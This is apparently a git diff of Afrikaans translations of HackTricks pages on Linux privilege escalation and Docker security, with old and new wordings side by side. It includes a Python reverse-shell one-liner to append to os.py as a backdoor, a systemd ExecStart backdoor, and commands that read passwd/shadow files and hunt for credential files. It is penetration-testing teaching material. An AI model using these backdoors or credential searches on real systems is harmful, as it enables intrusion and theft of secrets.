* `gedwing-opdragte-slegs`: Root kan slegs inlog met 'n privaatsleutel en as die opdragte-opsies gespesifiseer is
* `nee`: nee
* `yes`: root kan inlog met wagwoord en privaatsleutel
* `without-password` of `prohibit-password`: root kan slegs inlog met 'n privaatsleutel
* `forced-commands-only`: Root kan slegs inlog met 'n privaatsleutel en as die opdragopsies gespesifiseer is
* `no` : no
### AuthorizedKeysFile
Spesifiseer lêers wat die openbare sleutels bevat wat gebruik kan word vir gebruikersverifikasie. Dit kan tokens soos `%h` bevat, wat deur die tuisgids vervang sal word. **Jy kan absolute paaie aandui** (beginnend met `/`) of **relatiewe paaie van die gebruiker se tuisgids**. Byvoorbeeld:
Spesifiseer lêers wat die openbare sleutels bevat wat gebruik kan word vir gebruikersverifikasie. Dit kan tokens soos `%h` bevat, wat deur die tuisgids vervang sal word. **Jy kan absolute paaie aandui** (beginnend met `/`) of **relatiewe paaie vanaf die gebruiker se tuisgids**. Byvoorbeeld:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
@ -1164,17 +1164,17 @@ Daardie konfigurasie sal aandui dat as jy probeer om in te teken met die **priva
### ForwardAgent/AllowAgentForwarding
SSH-agent deurstuur maak dit vir jou moontlik om **jou plaaslike SSH-sleutels te gebruik in plaas daarvan om sleutels** (sonder wagwoorde!) op jou bediener te laat lê. So, sal jy in staat wees om **te spring** via ssh **na 'n gasheer** en van daar af **te spring na 'n ander** gasheer **deur** die **sleutel** wat geleë is in jou **oorspronklike gasheer**.
SSH-agent deurstuur maak dit vir jou moontlik om **jou plaaslike SSH-sleutels te gebruik in plaas daarvan om sleutels** (sonder wagwoorde!) op jou bediener te laat lê. So, sal jy in staat wees om **te spring** via ssh **na 'n gasheer** en van daar af **te spring na 'n ander** gasheer **deur** die **sleutel** geleë in jou **oorspronklike gasheer** te gebruik.
Jy moet hierdie opsie instel in `$HOME/.ssh.config` soos hierdie:
Jy moet hierdie opsie in `$HOME/.ssh.config` soos hierdie instel:
```
Host example.com
ForwardAgent yes
```
Merk op dat as `Host` `*` is elke keer as die gebruiker na 'n ander masjien spring, daardie gasheer sal in staat wees om die sleutels te benader (wat 'n sekuriteitsprobleem is).
Let daarop dat as `Host` `*` is elke keer as die gebruiker na 'n ander masjien spring, sal daardie gasheer in staat wees om die sleutels te benader (wat 'n veiligheidsprobleem is).
Die lêer `/etc/ssh_config` kan **oorheers** hierdie **opsies** en hierdie konfigurasie toelaat of weier.\
Die lêer `/etc/sshd_config` kan **toelaat** of **weier** ssh-agent deurstuur met die sleutelwoord `AllowAgentForwarding` (verstek is toelaat).
Die lêer `/etc/ssh_config` kan hierdie **opsies** oorskryf en hierdie konfigurasie toelaat of weier.\
Die lêer `/etc/sshd_config` kan ssh-agent deurstuur toelaat of weier met die sleutelwoord `AllowAgentForwarding` (verstek is toelaat).
As jy vind dat Forward Agent gekonfigureer is in 'n omgewing, lees die volgende bladsy aangesien **jy dit kan misbruik om voorregte te eskaleer**:
@ -1190,9 +1190,11 @@ Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat
```bash
ls -l /etc/profile /etc/profile.d/
```
Indien enige vreemde profielinskrywing gevind word, moet jy dit vir **sensitiewe besonderhede** ondersoek.
### Passwd/Shadow-lêers
Afhanklik van die OS kan die `/etc/passwd` en `/etc/shadow` lêers dalk 'n ander naam gebruik of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **hulle almal te vind** en **te kyk of jy hulle kan lees** om te sien **of daar hasse** binne die lêers is:
Afhanklik van die bedryfstelsel kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam gebruik of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **hulle almal te vind** en **te kyk of jy hulle kan lees** om te sien **of daar hasse** binne die lêers is:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1227,22 +1229,20 @@ su - dummy
```
**Let op:** Op BSD-platforms is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, ook is die `/etc/shadow` hernoem na `/etc/spwd.db`.
Jy moet nagaan of jy **kan skryf in sekere sensitiewe lêers**. Byvoorbeeld, kan jy skryf na 'n sekere **dienskonfigurasie-lêer**?
Jy moet nagaan of jy **kan skryf na sekere sensitiewe lêers**. Byvoorbeeld, kan jy skryf na 'n sekere **dienskonfigurasie-lêer**?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
Byvoorbeeld, as die masjien 'n **tomcat**-bediener hardloop en jy kan **die Tomcat-dienskonfigurasie-lêer binne /etc/systemd/ wysig**, dan kan jy die lyne wysig:
Byvoorbeeld, as die masjien 'n **tomcat**-bediener hardloop en jy kan die Tomcat-dienskonfigurasie-lêer binne /etc/systemd/ **verander**, dan kan jy die reëls verander:
```
ExecStart=/path/to/backdoor
User=root
Group=root
```
Jou agterdeur sal die volgende keer uitgevoer word wanneer tomcat begin word.
### Kontroleer Lêers
Die volgende lêers mag dalk rugsteune of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Jy sal waarskynlik nie die laaste een kan lees nie, maar probeer)
Die volgende lêers mag dalk rugsteun kopieë of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Jy sal waarskynlik nie die laaste een kan lees nie, maar probeer)
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
@ -1271,7 +1271,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```
### \*\_geskiedenis, .sudo_as_admin_successful, profiel, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml lêers
### \*\_geskiedenis, .sudo_as_admin_succesvol, profiel, bashrc, httpd.conf, .plan, .htpasswd, .git-legitimasies, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml lêers
```bash
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
```
@ -1279,7 +1279,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
### **Skrip/Binêres in PAD**
### **Skrip/Binêre lêers in PAD**
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
@ -1303,14 +1303,14 @@ Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalat
### Logboeke
As jy logboeke kan lees, kan jy dalk **interessante/vertroulike inligting daarin vind**. Hoe vreemder die logboek is, hoe interessanter dit sal wees (waarskynlik).\
Ook, mag sommige "**sleg**" gekonfigureerde (agterdeur?) **ouditlogboeke** jou toelaat om **wagwoorde op te neem** binne ouditlogboeke soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Ook, sommige "**sleg**" gekonfigureerde (agterdeur?) **ouditlogboeke** mag jou toelaat om **wagwoorde op te neem** binne ouditlogboeke soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
Om **logs te lees die groep** [**adm**](interesting-groups-linux-pe/#adm-group) sal baie nuttig wees.
### Skuldlêers
### Skulpe lêers
```bash
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
@ -1323,42 +1323,42 @@ Om **logs te lees die groep** [**adm**](interesting-groups-linux-pe/#adm-group)
```
### Generiese Wagwoorde Soek/Regex
Jy moet ook vir lêers kyk wat die woord "**wagwoord**" in sy **naam** of binne die **inhoud** bevat, en ook vir IP-adresse en e-posse binne loglêers, of hasse regexps.\
Ek gaan nie hier lys hoe om al hierdie te doen nie, maar as jy belangstel, kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer, nagaan.
Jy moet ook vir lêers kyk wat die woord "**wagwoord**" in die **naam** of binne die **inhoud** bevat, en ook vir IP-adresse en e-posse binne loglêers, of hasse regexps.\
Ek gaan nie hier lys hoe om al hierdie dinge te doen nie, maar as jy belangstel, kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer, nagaan.
## Skryfbare lêers
### Python-biblioteek kaping
As jy weet **waarvandaan** 'n Python-skripsie uitgevoer gaan word en jy **binne daardie vouer kan skryf** of jy kan **Python-biblioteke wysig**, kan jy die OS-bibliotheek wysig en dit agterdeur maak (as jy kan skryf waar die Python-skripsie uitgevoer gaan word, kopieer en plak die os.py-bibliotheek).
As jy weet **waarvandaan** 'n Python-skrips gaan uitgevoer word en jy **kan binne** daardie vouer skryf of jy kan **Python-biblioteke wysig**, kan jy die OS-bibliotheek wysig en dit agterdeur maak (as jy kan skryf waar die Python-skrips gaan uitgevoer word, kopieer en plak die os.py-bibliotheek).
Om die biblioteek **agterdeur te maak**, voeg net aan die einde van die os.py-biblioteek die volgende lyn by (verander IP en POORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Logrotate uitbuiting
### Logrotate-uitbuiting
'n Swakheid in `logrotate` laat gebruikers met **skryfregte** op 'n log-lêer of sy ouer gids moontlik verhoogde regte verkry. Dit is omdat `logrotate`, dikwels hardloop as **root**, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gids soos _**/etc/bash\_completion.d/**_. Dit is belangrik om nie net in _/var/log_ nie, maar ook in enige gids waar logrotasie toegepas word, regte te kontroleer.
'n Kwesbaarheid in `logrotate` laat gebruikers met **skryfregte** op 'n log-lêer of sy ouer gids moontlik verhoogde regte verkry. Dit is omdat `logrotate`, dikwels hardloop as **root**, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gids soos _**/etc/bash\_completion.d/**_. Dit is belangrik om nie net in _/var/log_ nie, maar ook in enige gids waar logrotasie toegepas word, regte te kontroleer.
{% hint style="info" %}
Hierdie swakheid affekteer `logrotate` weergawe `3.18.0` en ouer
Hierdie kwesbaarheid affekteer `logrotate` weergawe `3.18.0` en ouer
{% endhint %}
Meer gedetailleerde inligting oor die swakheid kan gevind word op hierdie bladsy: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
Meer gedetailleerde inligting oor die kwesbaarheid kan gevind word op hierdie bladsy: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
Jy kan hierdie swakheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten).
Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten).
Hierdie swakheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so wanneer jy vind dat jy logboeke kan verander, kyk wie daardie logboeke bestuur en kyk of jy regte kan verhoog deur die logboeke te vervang met simbole.
Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx-logboeke),** so wanneer jy vind dat jy logboeke kan verander, kyk wie daardie logboeke bestuur en kyk of jy regte kan verhoog deur die logboeke te vervang met simbole.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Swakheid verwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
**Kwesbaarheidsverwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
As, om enige rede, 'n gebruiker in staat is om 'n `ifcf-<whatever>` skrips te **skryf** na _/etc/sysconfig/network-scripts_ **of** dit kan **aanpas**, dan is jou **sisteem pwned**.
As, om enige rede, 'n gebruiker in staat is om 'n `ifcf-<watookal>` skrips te **skryf** na _/etc/sysconfig/network-scripts_ **of** dit kan **aanpas** 'n bestaande een, dan is jou **sisteem pwned**.
Netwerk skripte, _ifcg-eth0_ byvoorbeeld, word gebruik vir netwerkverbindings. Hulle lyk presies soos .INI-lêers. Tog word hulle \~gebron\~ op Linux deur Network Manager (dispatcher.d).
Netwerk-skripte, _ifcg-eth0_ byvoorbeeld, word gebruik vir netwerkverbindinge. Hulle lyk presies soos .INI-lêers. Tog word hulle \~gebron\~ op Linux deur Network Manager (dispatcher.d).
In my geval word die `NAME=` aangedui in hierdie netwerk skripte nie korrek hanteer nie. As jy **wit/leë spasie in die naam het, probeer die sisteem om die gedeelte na die wit/leë spasie uit te voer**. Dit beteken dat **alles na die eerste leë spasie as root uitgevoer word**.
In my geval word die `NAME=` wat in hierdie netwerk-skripte toegeskryf is, nie korrek hanteer nie. As jy **wit/leë spasie in die naam het, probeer die stelsel om die gedeelte na die wit/leë spasie uit te voer**. Dit beteken dat **alles na die eerste leë spasie as root uitgevoer word**.
Byvoorbeeld: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@ -1370,9 +1370,9 @@ DEVICE=eth0
Die gids `/etc/init.d` is die tuiste van **skripte** vir System V init (SysVinit), die **klassieke Linux-diensbestuurstelsel**. Dit sluit skripte in om dienste te `begin`, `stop`, `herlaai`, en soms `herlaai`. Hierdie kan direk uitgevoer word of deur simboliese skakels gevind in `/etc/rc?.d/`. 'n Alternatiewe pad in Redhat-stelsels is `/etc/rc.d/init.d`.
Aan die ander kant, `/etc/init` is geassosieer met **Upstart**, 'n nuwer **diensbestuurstelsel** wat deur Ubuntu ingevoer is, wat konfigurasie lêers gebruik vir diensbestuurstake. Ten spyte van die oorgang na Upstart, word SysVinit-skripte steeds gebruik saam met Upstart-konfigurasies as gevolg van 'n verenigbaarheidslaag in Upstart.
Aan die ander kant, `/etc/init` is geassosieer met **Upstart**, 'n nuwer **diensbestuurstelsel** wat deur Ubuntu ingevoer is, wat konfigurasie lêers gebruik vir diensbestuurtake. Ten spyte van die oorgang na Upstart, word SysVinit-skripte steeds saam met Upstart-konfigurasies gebruik as gevolg van 'n verenigbaarheidslaag in Upstart.
**systemd** kom na vore as 'n moderne inisialisering- en diensbestuurder, wat gevorderde kenmerke bied soos aanvraag-daemonbegin, outomatiese bergbestuur, en stelseltoestandsnapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir verspreidingspakette en `/etc/systemd/system/` vir administrateursmodifikasies, wat die stelseladministrasieproses stroomlyn.
**systemd** kom na vore as 'n moderne inisialisering en diensbestuurder, wat gevorderde kenmerke bied soos aanvraag-daemonbegin, outomatiese bergbestuur, en stelselstaat-snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir verspreidingspakette en `/etc/systemd/system/` vir administrateursmodifikasies, wat die stelseladministrasieproses stroomlyn.
## Ander Truuks
@ -1401,18 +1401,18 @@ Aan die ander kant, `/etc/init` is geassosieer met **Upstart**, 'n nuwer **diens
## Meer hulp
[Statiese impacket-binêre lêers](https://github.com/ropnop/impacket\_static\_binaries)
[Statiese impacket-binêres](https://github.com/ropnop/impacket\_static\_binaries)
## Linux/Unix Privesc-gereedskap
### **Beste gereedskap om vir Linux plaaslike bevoorregtingskaping vektore te soek:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### **Beste gereedskap om vir Linux plaaslike bevoorregte-escalasie-vectors te soek:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t opsie)\
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop:** Enumereer kernel kwale in Linux en MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Kernelpop:** Enumereer kernelkwale in Linux en MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (fisiese toegang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
@ -1438,16 +1438,17 @@ Aan die ander kant, `/etc/init` is geassosieer met **Upstart**, 'n nuwer **diens
* [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
* [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Docker-sekuriteit
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
@ -30,31 +31,31 @@ Die **Docker-enjin** maak gebruik van die Linux-kernel se **Namespaces** en **Cg
### Veilige Toegang tot die Docker-enjin
Die Docker-enjin kan óf plaaslik via 'n Unix-aansluiting óf op afstand deur middel van HTTP benader word. Vir afgeleë toegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit, en outentisiteit te verseker.
Die Docker-enjin kan óf plaaslik via 'n Unix-aansluiting óf op afstand deur HTTP benader word. Vir afgeleë toegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit, en outentisering te verseker.
Die Docker-enjin luister standaard na die Unix-aansluiting by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se aanvangsopsies in `/etc/default/docker` gedefinieer. Om afgeleë toegang tot die Docker-API en -klient moontlik te maak, stel die Docker-daemon bloot oor 'n HTTP-aansluiting deur die volgende instellings by te voeg:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
Egter, die blootstelling van die Docker daemon oor HTTP word nie aanbeveel nie weens sekuriteitskwessies. Dit word aanbeveel om verbindings te beveilig deur HTTPS te gebruik. Daar is twee hoofbenaderings om die verbinding te beveilig:
Nietemin, die blootstelling van die Docker daemon oor HTTP word nie aanbeveel nie as gevolg van veiligheidskwessies. Dit word aanbeveel om verbindings te beveilig deur HTTPS te gebruik. Daar is twee hoofbenaderings om die verbinding te beveilig:
1. Die klient verifieer die identiteit van die bediener.
1. Die klient verifieer die bediener se identiteit.
2. Beide die klient en bediener verifieer mekaar se identiteit.
Sertifikate word gebruik om 'n bediener se identiteit te bevestig. Vir gedetailleerde voorbeelde van beide metodes, verwys na [**hierdie gids**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Sekuriteit van Houverbeelding
### Sekuriteit van Houverbeeld
Houverbeeldings kan gestoor word in privaat of openbare repose. Docker bied verskeie stooropsies vir houverbeeldings:
Houverbeeld kan gestoor word in privaat of openbare repose. Docker bied verskeie stooropsies vir houverbeeld:
* [**Docker Hub**](https://hub.docker.com): 'n Openbare registerdiens van Docker.
* [**Docker Registry**](https://github.com/docker/distribution): 'n oopbronprojek wat gebruikers toelaat om hul eie register te hê.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registeraanbod, met rolgebaseerde gebruikersverifikasie en integrasie met LDAP-gidsdiens.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registeraanbod, met rolgebaseerde gebruiker-verifikasie en integrasie met LDAP-gidsdiens.
### Beeldskandering
Houverhouers kan **sekuriteitskwessies** hê weens die basisbeeld of die sagteware wat bo-op die basisbeeld geïnstalleer is. Docker werk aan 'n projek genaamd **Nautilus** wat sekuriteitskandering van Houers doen en die kwessies lys. Nautilus werk deur elke Houerbeeldlaag met die kwessierepositorium te vergelyk om sekuriteitsgate te identifiseer.
Houers kan **sekuriteitskwessies** hê as gevolg van die basisbeeld of as gevolg van die sagteware wat bo-op die basisbeeld geïnstalleer is. Docker werk aan 'n projek genaamd **Nautilus** wat sekuriteitskandering van Houers doen en die kwessies lys. Nautilus werk deur elke Houerbeeldlaag met die kwessierepositorium te vergelyk om sekuriteitsgate te identifiseer.
Vir meer [**inligting lees hierdie**](https://docs.docker.com/engine/scan/).
@ -88,15 +89,15 @@ snyk container test <image> --json-file-output=<output file> --severity-threshol
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Docker Beeldondertekening
### Docker Beeld Ondertekening
Docker beeldondertekening verseker die veiligheid en integriteit van beelde wat in houers gebruik word. Hier is 'n beknopte verduideliking:
Docker beeld ondertekening verseker die veiligheid en integriteit van beelde wat in houers gebruik word. Hier is 'n beknopte verduideliking:
- **Docker-inhoudsvertroue** maak gebruik van die Notary-projek, gebaseer op The Update Framework (TUF), om beeldondertekening te bestuur. Vir meer inligting, sien [Notary](https://github.com/docker/notary) en [TUF](https://theupdateframework.github.io).
- Om Docker-inhoudsvertroue te aktiveer, stel `export DOCKER_CONTENT_TRUST=1` in. Hierdie funksie is standaard af in Docker weergawe 1.10 en later.
- Met hierdie funksie geaktiveer, kan slegs ondertekende beelde afgelaai word. Die aanvanklike beeldstoot vereis die instelling van wagwoorde vir die hoof- en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde veiligheid. Meer besonderhede kan hier gevind word: [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- 'n Poging om 'n ondertekende beeld met inhoudsvertroue geaktiveer af te trek, lei tot 'n "Geen vertroue data vir die nuutste" fout.
- Vir beeldstote na die eerste, vra Docker vir die wagwoord van die stoor sleutel om die beeld te onderteken.
* **Docker Inhoudsvertroue** maak gebruik van die Notary projek, gebaseer op The Update Framework (TUF), om beeld ondertekening te bestuur. Vir meer inligting, sien [Notary](https://github.com/docker/notary) en [TUF](https://theupdateframework.github.io).
* Om Docker inhoudsvertroue te aktiveer, stel `export DOCKER_CONTENT_TRUST=1` in. Hierdie kenmerk is standaard af in Docker weergawe 1.10 en later.
* Met hierdie kenmerk geaktiveer, kan slegs ondertekende beelde afgelaai word. Die aanvanklike beeldstoot vereis die instelling van wagwoorde vir die hoof- en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde veiligheid. Meer besonderhede kan hier gevind word [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
* 'n Poging om 'n ondertekende beeld met inhoudsvertroue geaktiveer af te trek, lei tot 'n "Geen vertroue data vir die nuutste" fout.
* Vir beeldstote na die eerste, vra Docker vir die wagwoord van die stoor sleutel om die beeld te onderteken.
Om jou privaat sleutels te rugsteun, gebruik die bevel:
```bash
@ -109,8 +110,8 @@ Wanneer jy oorskakel na Docker-gashere, is dit nodig om die hoof- en bewaarpleks
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) om maklik te bou en **werkstrome te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) om maklik te bou en **werkvloeie te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
